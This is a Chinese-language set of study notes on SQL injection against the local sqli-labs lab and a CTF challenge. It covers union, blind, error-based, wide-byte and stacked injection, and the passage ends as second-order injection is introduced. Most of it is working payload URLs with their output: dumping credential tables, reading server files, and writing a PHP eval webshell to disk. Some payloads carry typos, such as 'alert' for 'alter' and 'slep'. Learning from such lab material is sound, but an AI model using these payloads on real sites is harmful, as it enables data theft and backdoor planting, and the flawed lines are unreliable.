SQL注入学习
参考资料为:谢公子的SQL注入漏洞详解
学习笔记,比谢公子的稍微稍微详细一些,再加上自己的一些见解。
环境搭建:Win7+phpstudy_pro+sqli-labs,php7.3.4,apache2.4.39,mysql5.5.29
ubuntu20.04+docker使用Docker搭建SQLi-Labs平台
docker pull acgpiano/sqli-labs
docker run -dt --name sqli -p 80:80 --rm acgpiano/sqli-labs
SQL注入简介
SQL注入是因为后台SQL语句拼接了用户的输入,而且Web应用程序对用户输入数据的合法性没有判断和过滤,前端传入后端的参数是攻击者可控的,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。例如增删改查,如果权限够大的话还可以对操作系统执行操作。
SQL注入可分为平台层注入和代码层注入
平台层注入是由不安全的数据库配置或数据库平台的漏洞所导致;代码层注入主要是由于程序员对输入未进行细致的过滤。SQL注入是针对数据库、后台、系统层面的攻击!
MySQL数据库相关知识
5.0以下的 | 5.0以上 |
---|---|
多用户单操作 | 多用户多操作 |
没有information_schema这个系统表,只能暴力跑表名 | 默认添加information_schema数据库,只读 |
mysql中注释符:
单行注释:#
多行注释:/**/
select * from users where id=1 #asdasd;
select * from users where id=1 /*asdasd*/;
information_schema数据库中三个很重要的表:
information_schema.schemata:所有库名
information_schema.tables:所有表名
information_schema.columns:所有列名
基本语法
//获取第一个数据库名
select schema_name from information_schema.schemata limit 0,1
//获取第一个数据表名
select table_name from information_schema.tables limit 0,1
//获取指定security数据库中的所有表名
select table_name from imformation_schema.tables where
table_schema='security'limit 0,1
//获取第一个列名
select column_name from information_schema.columns limit 0,1
//获取指定security数据库中users表的所有列名
select column_name from information_schema.columns where table_schema-'security'
and table_name='users' limit 0,1
//获取指定的users表中的指定的password列中的第一条数据
select password from user limit 0,1
mysql中常见函数
version():查询啊数据库版本
user():查询数据库使用者
database():数据库
system_user():系统用户名
session_user():连接到数据库的用户名
current_user():当前用户名
load_file():读取本地文件
@@datadir:读取数据库路径
@@basedir:mysql安装路径
@@version_complie_os:查看操作系统
ascii(str):返回str的ASCII值,str为空字符串返回0,str为NULL返回NULL,例:ascii(“a”)=97
length(str):返回str的长度
substr(string,start,length):对于string,从start开始截取,截取length长度,例:substr(“chinese”,3,2)=“in”,也可substr(string from start for length)
substr() stbstring() mid()三个函数用法功能一致
concat(username):将查询到的username连接在一起,默认用逗号分隔
concat(str,‘*’,str2):将字符串str1和str2是数据查询到在一起,中间用星号连接
group_concat(username):将username数据查询在一起,用逗号链接
limit 0,1:查询第一个数 limit5:查询前5个 limit 1,1:查询第二个 limit n,1:查询第n+1个数 也可limit 1 offset 0
SQL注入的分类
依据注入点类型分类
数字类型的注入
字符串类型的注入
搜索类型注入
依据提交方式
GET注入
POST注入
COOLIE注入
HTTP头注入(XFF注入、UA注入、REFERER注入)
依据获取信息的方式分类
基于布尔的盲注
基于时间的盲注
基于报错的注入
联合查询注入
堆查询注入(可同时执行多条语句)
判断是否存在SQL注入
漏扫工具
使用网站漏扫工具,常见漏扫工具:AWCS、AppScan、OWASP-ZAP、Nessus
手动判断
常见的判断SQL注入的方式
- 加单引号‘ 、双引号"、单括号)、双括号))等,如果报错就可能存在SQL注入漏洞
- URL后面加 and 1=1、and1=2看两次页面是否显示一样,不一样一定存在SQL注入漏洞
- Timing Attack测试,就是时间盲注。有时通过简单的and 1=2无法看出异常
时间盲注
Benchmark()函数,用于测试性能。Benchmark(count,expr):将表达式expr执行count次
利用此函数让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短变化,可以判断语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中称为Timing Attack,也就是时间盲注。
不同数据库的时间盲注语句
MySQL | benchemark(100000000,md(5))sleep(3) |
---|---|
PostgreSQL | PG_sleep(5)Generate_series(1,1000000) |
SQLServer | waitfor delay ‘0:0:5’ |
易出现SQL注入的功能点
凡是和数据库有交互的地方都容易出现SQL注入,SQL注入经常出现在登陆页面、涉及获取HTTP头(user-agent/client-ip等)的功能点及订单处理等地方。例如:登陆页面,除常见的万能密码,post数据输入外也有可能发生在HTTP头中的client-ip和x-forward-for等字段处。这些字段是用来记录ip的,有可能会被存储进数据库中从而与数据库发生交互导致sql注入。
Boolean盲注
盲注,就是在服务器没有错误回显时完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的信息,所以攻击者必须找到一个方法来验证注入的SQL语句是否得到了执行。
使用漏洞环境sqli-labs测试,为了方便查看注入情况,修改代码返回sql语句到页面上,参考:sqli-labs 页面显示sql语句 方便注入
在sqli-labs 目录下点击关卡目录 编辑index.txt
在$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
下
添加echo $sql;
和echo "<br>";
<?php
...
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
echo $sql;
echo "<br>";
...
?>
**例子:**sqli的Less-5
http://127.0.0.1/Less-5/?id=1
MIT 0,1;限制显示行数为1,语句正确时显示“You are in…”,语句错误时报出SQL语句错误。
可推断源码
<?php
...
$sql="select * from users where id=1 limit 0,1";//sql查询语句
$result=mysql_query(sql);
$row=mysql_fetch_array($result);
if($row){
echo 'You are in......';
}else{
print_r(mysql_error());
}
尝试通过构造一些判断语句,看页面是否显示来证实猜想
盲注一般用到的一些函数:**ascii()、substr()、length()、exists()、concat()**等
判断数据库类型
大多数数据库的SQL语句都类似,但不同数据库有有自己特殊的表,可由此判断数据库类型。
数据库 | 判断 |
---|---|
MySQL | information_schema.tables表、length(user()) |
Access | msysobjects表 |
SQLServer | sysobjects表 |
Oracle | select count(*) from dual |
//MySQL
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select * from information_schema.tables) #
//access
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select * from msysobjects) #
//SQLSever
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select * from sysobjects) #
//Oracle
http://127.0.0.1/sqli/Less-5/?id=1' and (select conut(*) from dual)>0 #
对于MySQl数据库,information_schema数据库的表都是只读的,实际只是一个视图,不是基本表,没有关联的文件。
information_schema.tables存储了数据表元素的元数据信息,常用字段:
table_schema:数库名
table_name:数据表名
table_rows:关于表的粗略行估计
data_length:表的大小
判断当前数据库名
不适用于access和SQLServer
判断当前数据库名的长度
//利用二分法
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 //不显示任何数据
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7 //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8 //不显示任何数据
//大于7且不大于8,数据库长度为8
//判断数据库字符
//判断数据库第一个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1)>100
...........
判断出当前数据库为security
判断数据库中的表
//猜测当前数据库中的hi发存在admin表
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select * from admin)
1.判断当前数据库中表的个数
//判断当前数据库中表的个数是否大于5,用二分法依次作判断,最后得知数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name)from information_schema.tables where table_schema=database())>5 #
2.判断每个表的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6
3.判断每个表的每个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
.........
由此可判断出存在表email、referers、uagents、user,猜测users表中最可能存在账户密码,所以在users表中继续判断
判断表中的字段
//如果证实存在admin表,那么猜测是否存在username字段
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin)
1.判断表中字段的个数
//判断users表中的字段是否大于5,这里users表是通过上面的语句爆出来的
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')>5 #
2.判断字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5
.........
可判断处user表中存在id、username、passwod字段
判断字段中的数据
1.判断数据长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5
2.判断数据的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100
........
盲注原理并不难,但手注比较麻烦
union注入
union联合查询适用于有显示列的注入
使用order by
判断当前的列数
http://127.0.0.1/sqli/Less-1/?id=1' order by 3 #
(实际尝试的时候用#
不行,--+
或者-- #
才好使, #
换成啥都好使 )
显示行数
可以通过union联合查询来显示行数,因为id=1
所以只显示一行
http://127.0.0.1/sqli/Less-1/?id=1' union select 1,2,3 #
将id=1
改为id=-1
或者在后面加上and 1=2
,目的是把id=1
的条件否定掉,这样联合查询的结果就能显示出来
http://127.0.0.1/sqli/Less-1/?id=-1' and 1=2 union select 1,2,3 #
http://127.0.0.1/sqli.Less-1/?id=-1' union select 1,2,3 #
查询结果
Welcome Dhakkan
Your Login name:2
Your Password:3
利用函数
可以知道第2列和第3列是显示列,可以在这两个位置插入一些函数
version():数据库版本
database():当前所在数据库
@@basedir:数据库安装目录
@@datadir:数据库文件存放目录
user():数据库的用户
current_user():当前用户名
system_user():系统用户名
session_user():连接到数据库的用户明白
http://127.0.0.1/sqli/Less-1/?id=1' union select 1,version(),user() #
Welcome Dhakkan
Your Login name:5.7.26
Your Password:root@localhost
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,database(),@@basedir #
Welcome Dhakkan
Your Login name:security
Your Password:C:\phpstudy_pro\Extensions\MySQL5.7.26\
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,@@datadir,current_user() #
Welcome Dhakkan
Your Login name:C:\phpstudy_pro\Extensions\MySQL5.7.26\data\
Your Password:root@localhost
获取更多信息
//获取所有数据库
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_cocat(schema_name),3 from information_schema.tables#
//获取所有的表
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables#
//获取所有的列
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name), from information_schema.columns#
#获取当前数据库中指定表的指定字段的值(只能是database()所在的数据库内的数据,因为在当前所在的数据库下不能查询其他数据库的数据)
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(password),3 from users#
Welcome Dhakkan
Your Login name:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
Your Password:3
当前数据库为security,获取当前数据库所有的表名
``http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’`
Welcome Dhakkan
Your Login name:emails,referers,uagents,users
Your Password:3
得到四个表名,可以获取每一个表中的列、
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'#
Welcome Dhakkan
Your Login name:id,username,password
Your Password:3
得到三个列名,继续构造语句爆出users表中所有数据
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users#
Welcome Dhakkan
Your Login name:1--Dumb--Dumb,2--Angelina--I-kill-you,3--Dummy--p@ssword,4--secure--crappy,5--stupid--stupidity,6--superman--genious,7--batman--mob!le,8--admin--admin,9--admin1--admin1,10--admin2--admin2,11--admin3--admin3,12--dhakkan--dumbo,14--admin4--admin4
Your Password:3
大功告成
文件读写
当有显示列的时候,文件读取可以利用union注入
当没有显示列的时候,只能利用盲注进行数据读取
读取
读取D盘下的3.txt
//union注入读取d:/3.txt
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file("d:/3.txt")#
//也可以把e:/3.txt转换为16进制 0x643A5C332E747874
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file(0x643A5C332E747874)#
结果,此处要注意MySQL版本为5.5.x
Welcome Dhakkan
Your Login name:2
Your Password:hello
盲注需要利用hex()函数将读取的字符串转换为16进制,再利用ascii()函数转换成ascii码,再利用二分法一个一个字符的判断,非常复杂,一般结合工具完成。
http://127.0.0.1/sqli/Less-1/?id=-1' and ascii(mid((select hex(load_file('d:/3.txt'))),18,1))>49#
写入
union写入文件(into outfile)
//利用union注入写入一句话木马 into outfile 和 into dumfile
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,'<?php @eval($_POST[aaa]);?>' into outfile 'd:/4.php' #
//可以将一句话木马转换为16进制的形式
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e into outfile 'd:/4.php' #
报错注入
**利用前提:**页面上没有显示位,但需要输出SQL语句执行错误信息。例如mysql_error()
**优点:**不需要显示位
**缺点:**需要输出mysql_error()的报错信息
floor(): 返回<=某数的最大整数
count(): 来统计表中记录, 返回匹配条件的行数
count(*):包括所有列,返回表中的记录数,相当于统计表的行数,在统计结果的时候,不会忽略列值为NULL的记录
rand():产生随机数
rand(x):每个x对应一个固定的值,但是如果连续执行多次值会变化,不过也是可预测的
floor报错payload: select count(*), floor(rand(0)*2) as a from information_schema.tables group by a;
报错是一个主键冗余的异常
利用:select count(*), concat((select database()), '-', floor(rand(0)*2)) as a from information_schema.tables group by a;
#将select database()换成你想要的东西!
floor报错
floor报错注入是利用count()、rand()、floor()、group by这几个特定函数结合在一起产生的注入漏洞。缺一不可
//可以将user()改成任何函数,以获取我们想要的信息
http://127.0.0.1/sqli/Less-1/?id=-1' and (select 1 from (select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2)))a) #
//将其分解
(select 1 from (Y)a)
Y=select count(*) from information_schema.tables group by concat(z)
Z=user(),floor(rand(0)*2) //这里将user()替换成我们需要的函数
Welcome Dhakkan
Duplicate entry 'root@localhost1' for key 'group_key'
ExtractValue报错注入
EXTRACTVALUE(XML_documnet, XPath_string)
XML_document:String格式,XML文档对象的名称
XPath_string:Xpath格式字符串
作用:从目标XML中返回包含所查询的字符串(返回结果限制在32位字符)
//可以将user()改成其他函数,0x7e表示 ~
http://127.0.0.1/sqli/Less-1/?id=-1' and extractvalue(0x7e,concat(0x7e,user(),0x7e))#
//通过以下语句可以得到所有的数据库名
http://127.0.0.1/sqli/Less-1/?id=-1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e))#
Welcome Dhakkan
XPATH syntax error: '~root@localhost~'
Welcome Dhakkan
XPATH syntax error: '~information_schema~'
UpdateXml报错注入
UpdateXml函数实际上是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则报错,但其实报错时已经执行了子查询。
UPDATEXML(XML_document, XPath_string, new_value)
XML_document:String格式,XML对象名称,中文为Doc1
Xpath_string:XPath格式字符串,XPATH基本语法
new_value:String格式,替换查找到的符合条件的数据
**作用:**改变文档中符合条件的节点的值
//可以将user()改成其他函数,0x7e表示 ~
http://127.0.0.1/sqli/Less-1/?id=-1' and updatexml(1,concat(0x7e,user(),0x7e),1)#
//通过以下语句可以得到所有的数据库名
http://127.0.0.1/sqli/Less-1/?id=-1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)#
Welcome Dhakkan
XPATH syntax error: '~root@localhost~'
Welcome Dhakkan
XPATH syntax error: '~information_schema~'
时间盲注
Timing Attack注入
也就是时间盲注,通过简单的条件语句比如 and 1=2 是无法看出异常的。
在MySQL中,有一个Benchmark()函数,用于性能能测试。Benchmark(count,expr),作用是将表达式expr执行count次。
利用此函数让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短变化,可以判断语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中称为Timing Attack,也就是时间盲注。
不同数据库的时间盲注语句
MySQL | benchemark(100000000,md(5))sleep(3) |
---|---|
PostgreSQL | PG_sleep(5)Generate_series(1,1000000) |
SQLServer | waitfor delay ‘0:0:5’ |
使用
**利用前提:**页面上没有显示位,也没有SQL语句执行错误信息。正确SQL语句和错误的SQL语句返回的页面都一样,但是加入sleep(5)条件后,页面的返回速度明显慢了5秒。
**优点:**不需要显示位,不需要报错信息
**缺点:**速度慢,耗费大量时间
sleep函数判断页面响应时间
if语句:if(判断条件, true时执行的命令, false时执行的命令)
//判断死否存在延时注入
http://127.0.0.1/sqli/Less-1/?id-1' and sleep(5)#
//判断数据库的第一个字符的ascii值是否大于100,如果大于100,页面立即响应,如果不大于100,页面延时5秒响应
http://127.0.0.1/sqli/Less-1/?id-1' and if(ascii(substring(database(),1,1))<100,1,slep(5))#
REGEXP正则匹配
正则表达式
正则表达式,又称规则表达式(Regular Expression,在代码中常简写为regex,regexp或者RE),通常用于检索、替换那些符合某个规则或模式的文本。
正则可视化测试(个人) + 软件:Regester
功能齐全的网站:https://regex101.com/
简单应用
//查找name字段中以'st'为开头的所有数据
select name from person_tbl where name regexp '^st';
//以'ok'为结尾的所有数据
select name from person_tbl where name regexp 'ok$';
//包含'mar'字符串的所有数据
select name from person_tbl where name regexp 'mar';
//以元音字母为开头的或以'ok'字符串为结尾的所有数据
select name from person_tbl where name regexp '^[aeiou]ok$';
//含有a或者b的所有数据
select name from person_tbl where name regexp 'a|b';
//含有'ab'且'ab'前有字符的所有数据('.'匹配任意字符)
select name from person_tbl where name regexp '.ab';
//包含有at或bt或ct的所有数据
select name from person_tbl where name regexp '[abc]t';
//以a-z开头的所有数据
select name from person_tbl where name regexp '^[a-z]';
示例
已知数据库名为security,判断第一个表名是否以a-z中的字符开头,[a-z]–>[a];判断出第一个表的第一个字符,接着判断第一个表的第二个字符a[a-z]–>ad;同理往下判断第一个表名为^admin,然后limit 1,1,继续判断下一个
//判断security数据库下的第一个表的是否以a-z的字母开头
http://127.0.0.1/sqli/less-1/?id=1' and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^[a-z]' limit 0,1)#
宽字节注入
宽字节注入是由于不同编码的中英文所占字符的不同导致的。通常来说,在GBK编码中,一个汉字占用2个字节。而在UTF-8编码中一个汉字占3个字节。在php中,我们可以通过输入echo strlen(“中”)来测试,输出为3,为UTF-8编码,输出为2,为GBK编码。除了GBK之外所有ANSI编码的中文都是占两个字节。(平常代码啥的就用utf-8就完了)
谢公子的博客文章:字符集与字符编码
个人推荐b站的一个视频: 一听就能懂字符集、ASCII、GBK、Unicode、UTF-8、字符编码、解码、乱码问题的讲解-哔哩哔哩
下图是用markdown ”画“ 的,简单学习了一下
php对sql注入的过滤,几个函数
addslashes()
addslashes()在预定义字符(单引号'
,双引号"
,反斜杠\
,NULL)前加反斜杠\
,特点是虽然会添加反斜杠进行转义,但反斜杠并不会插入到数据库中。此函数功能与魔术引导号完全相同,所以两者和不应同时使用。(测试时)可以使用get_magic_escape_string()来检测是否已经转义。
mysql_real_escape_string():转义SQL语句中的特殊符号x00、\n、\r、\、'、"、x1a。
魔术引导号
当魔术引导号打开时,所有的单引号、双引号、反斜杠、和NULL字符都会被自动加上一个反斜杠来进行转义,与addslashes()函数作用完全相同。
-
magic_quotes_gpc影响到HTTP请求数据(GET、POST、和COOKIE)。不能在运行时改变,php中默认为on。php5.4.0开始魔术引导号被取消,只返回0。
-
magic_quotes_runtime如果打开,大部分从外部来源获得数据并返回的函数,包括从数据库和文本文件,所返回的数据都会被反斜线转义,该选项可以在运行的时候改变,在PHP中的默认值为off。
-
magic_quotes_sybase(魔术引导号开关)如果打开的话,将会使用单引号对单引号转义而不是反斜线,此选项会完全覆盖magic_quotes_gpc。若同时打开两个选项,单引号会被转义为“,双引号、反斜杠和NULL都不会进行转义。
可以在php.ini(php对应版本源文件下)中查看参数是否开启
; Magic quotes are a preprocessing feature of PHP where PHP will attempt to
; escape any character sequences in GET, POST, COOKIE and ENV data which might
; otherwise corrupt data being placed in resources such as databases before
; making that data available to you. Because of character encoding issues and
; non-standard SQL implementations across many databases, it's not currently
; possible for this feature to be 100% accurate. PHP's default behavior is to
; enable the feature. We strongly recommend you use the escaping mechanisms
; designed specifically for the database your using instead of relying on this
; feature. Also note, this feature has been deprecated as of PHP 5.3.0 and is
; removed in PHP 5.4.
; Default Value: On
; Development Value: Off
; Production Value: Off
; http://php.net/magic-quotes-gpc
magic_quotes_gpc = Off
; Magic quotes for runtime-generated data, e.g. data from SQL, from exec(), etc.
; http://php.net/magic-quotes-runtime
magic_quotes_runtime = Off
; Use Sybase-style magic quotes (escape ' with '' instead of \').
; http://php.net/magic-quotes-sybase
magic_quotes_sybase = Off
这部分环境是php5.4.29+mysql5.5.29
大佬的源码(测试代码和数据库):http://pan.baidu.com/s/1eQmUArw 提取码:75tu
//执行sql语句
$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
$sql = "SELECT * FROM news WHERE tid='{$id}'";
//为了显示语句加上以下两行
echo $sql;
echo "<br>";
$result = mysql_query($sql, $conn) or die(mysql_error());
对于http://127.0.0.1/1/?id=1’
单引号被转义为\'
、
结果sql语句为SELECT * FROM news WHERE tid='1\''
绕过这个转义就是要把这个反斜杠\,给去掉
1.转义之后设法让\前面再加一个\,或者再加偶数个\,这样就变成\'
,\被转义,'也就逃出了限制
2.转义之后再设法消除\,只留下一个’。
GBK
这里使用第二种方法,宽字节注入,利用MySQL的一个特性。MySQL在使用GBK编码的时候,会认为两个字符是一个汉字,前提是前一个字符的ASCII值大于128,才会认为是汉字。
http://127.0.0.1/1/1/?id=1%df'
页面报错
SELECT * FROM news WHERE tid='1ß\''
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1ß\''' at line 1
大体变化:%df表示0xdf也就是十进制的223,1%df'
这一串字符先是把%df’和\合成在一起,被当成一个字符处理,所以单引号'
,逃了出来,成功报错。
具体流程:1%df'
经过addslashes()函数处理,变成1%df\'
,然后经过url编码,变成1%25df%5C%27
,mysql把%df%5c当作汉字处理,所以后面的%27就成功绕过,于是发生的爆错。
实际只要是大于ASCII编码的最大值(128)的其他字符就可以成功,也就是%后面是数大于等于81
http://192.168.84.5/1/1/?id=-1日'union select 1,user(),version()--+
返回结果
SELECT * FROM news WHERE tid='-1鏃'union select 1,user(),version()--'
root@localhost
5.5.29
GB2312
把数据库编码换为GB2312,再次尝试,成功注入
http://192.168.84.5/1/1/?id=-1%df' union select 1,user(),version()--+
SELECT * FROM news WHERE tid='-1運' union select 1,user(),version()-- '
root@localhost
5.5.29
GB2312编码范围取值范围是0xA10xF7,低位是0xA10xFE。addslashes()函数处理,url编码后1%25df%5C%27
中的%5c,也就是0x5C,不在低位范围内,也就是\
不在GB2312编码内。
只要保证低位范围中含有0x5c就可以进行宽字节注入
mysql_real_escape_string()
将string中的字符转义,并会考虑到连接的当前字符集,因此可安全用于mysql_query(),可预防数据库攻击
http://127.0.0.1/1/3/id=1%df'
结果
SELECT * FROM news WHERE tid='1ß\''
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1ß\''' at line 1
此时还可以进行宽字节注入
改下代码,设置当前连接字符集为gbk
<?php
//连接数据库部分,注意使用了gbk编码
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES 'gbk'");
mysql_select_db('test', $conn) OR emMsg("连接数据库失败,未找到您填写的数据库");
//设置连接数据库时用的是gbk编码-----------------------------此处设定编码类型---------------------
mysql_set_charset('gbk',$conn);
//执行sql语句
$id = isset($_GET['id']) ? mysql_real_escape_string($_GET['id']) : 1;
$sql = "SELECT * FROM news WHERE tid='{$id}'";
echo $sql;
echo "<br>";
$result = mysql_query($sql, $conn) or die(mysql_error());
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="gbk" />
<title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h2>{$row['title']}</h2><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>
这样在次尝试,无法进行宽字节注入
SELECT * FROM news WHERE tid='1\運''
新闻1
这是第一篇文章
宽字节注入的修复
在调用**mysql_real_escape_string()**函数之前,先设置连接所使用的字符集为GBK,mysql_set_charset=('gbk',$conn);
这个方法时可行的。但还是有很多网站使用的是addslaches()函数进行过滤,我们不可能把所有的addslaches()函数都换成ymysql_real_escape_string()。
所以防止sql注入的另一个方法就是将character_set_client设置为binary(二进制)。需要在所有的sql语句前指定连接的形式是binary二进制:
<?php
//连接数据库部分,注意使用了gbk编码
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES 'gbk'");
mysql_select_db('test', $conn) OR emMsg("连接数据库失败,未找到您填写的数据库");
//指定charcter_set_client编码为二进制------------------------------------------------------
mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);
//执行sql语句
$id = isset($_GET['id']) ? mysql_real_escape_string($_GET['id']) : 1;
$sql = "SELECT * FROM news WHERE tid='{$id}'";
echo $sql;
echo "<br>";
$result = mysql_query($sql, $conn) or die(mysql_error());
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="gbk" />
<title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h2>{$row['title']}</h2><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>
当我们的mysql收到客户端的请求数据时,会认为它的编码是charcter_set_client所对应的编码,也就是二进制。然后再转换为chanr_set_connection所对应的编码。然后进入具体字段后。再转换为对应字段对应的编码。当查询结果产生后,会从表和字段的编码转换为charcter_set_result所对应的编码,返回给客户端。所以将charcset_set_client编码设置成binary,就不存在宽字节注入的问题了,所有数据都是以二进制的形式传递。
堆叠注入
原理
SQL中分号;
是用来表示一条sql语句的结束。union injection(联合注入)只能将两条语句合并起来执行查询语句,而堆叠注入可执行的是任意的语句。
局限性
受到环境限制,API、数据库引擎和权限等。例如Oracle数据库不能使用堆叠注入,两条句语句在同一行时直接报错。
代码通常只会返回一个结果,这时堆叠注入的第二个语句就会产生错误结果或者被忽略。
实例
强网杯2019随便注入
大佬对场景的复现 :https://github.com/CTFTraining/qwb_2019_supersqli
SQL Injection8(堆叠注入)——强网杯2019随便注,这一块确实容易理解,还是简单了复现一下,因为里面有个骚操作
输入1
http://127.0.0.1:8302/?inject=1
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
输入1'#
,无变化
输入1'or 1=1 #
,返回了数据
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(2) {
[0]=>
string(1) "2"
[1]=>
string(12) "miaomiaomiao"
}
array(2) {
[0]=>
string(6) "114514"
[1]=>
string(2) "ys"
}
1' order by 2#
,order by 3报错,只有两个字段
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
1' union select 1,2#
使用union select进行联合查询,结果返回一个正则过滤,常用命令都被过滤了
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
1' ; show databases; #
尝试堆叠注入,显示所有数据库
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(1) {
[0]=>
string(11) "ctftraining"
}
array(1) {
[0]=>
string(18) "information_schema"
}
array(1) {
[0]=>
string(5) "mysql"
}
array(1) {
[0]=>
string(18) "performance_schema"
}
array(1) {
[0]=>
string(9) "supersqli"
}
array(1) {
[0]=>
string(4) "test"
}
1'; show tables;#
查询表
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
查询字段
0’; show columns from words;#
array(6) {
[0]=>
string(2) "id"
[1]=>
string(7) "int(10)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
array(6) {
[0]=>
string(4) "data"
[1]=>
string(11) "varchar(20)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
0' ; show columns from `1919810931114514`;#
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
可以看到1919810931114514中有我们想要的flag字段
现在常规方法基本就结束了,要想获得flag就必须来点骚姿势了
这里只有两张表,回显内容肯定来自word这张表
可以判断它本身过滤后拼接成语句可能是select id, data from word where id =
或者是 select * from words where id=
求稳的话还是先按第一个来构造,构造就需要一些骚操作了
骚操作
虽然有强大的正则过滤,但没有过滤alert和rename关键字 ,因此,骚操作就来了
1.将words表改名为word1或其它任意名字
2.1919810931114514改名为words
3.将新的word表插入一列,列名为id
4.将flag列改名为data
我愿称之为 偷梁换柱
这样有data,又有id,便可以直接查询出flag**(这里是根据前面查询出来的列名判断id和data字段)**
payload:
1';rename table `words` to `word1`;rename table `1919810931114514` to `words`;alter table `words` add id int unsigned not Null auto_increment primary key; alert table `words` change `flag` `data` varchar(100);#
然后
1' or 1=1 #
array(2) {
[0]=>
string(32) "flag{glzjin_wants_a_girl_firend}"
[1]=>
string(1) "1"
}
这时候直接一个1
也会返回
array(2) {
[0]=>
string(32) "flag{glzjin_wants_a_girl_firend}"
[1]=>
string(1) "1"
}
这时就可以马后炮一下了,它的语句就是 select * from words where id=
所以flag不需要改成data了
1';rename table `words` to `word1`;rename table `1919810931114514` to `words`;alter table `words` add id int unsigned not Null auto_increment primary key;
总结
需要前面的基础,需要熟悉命令
骚操作关键:rename可重命名表,alert 可以添加、修改、删除字段
二次注入
简介
二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有一次注入攻击漏洞的攻击威力。
原理
- 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
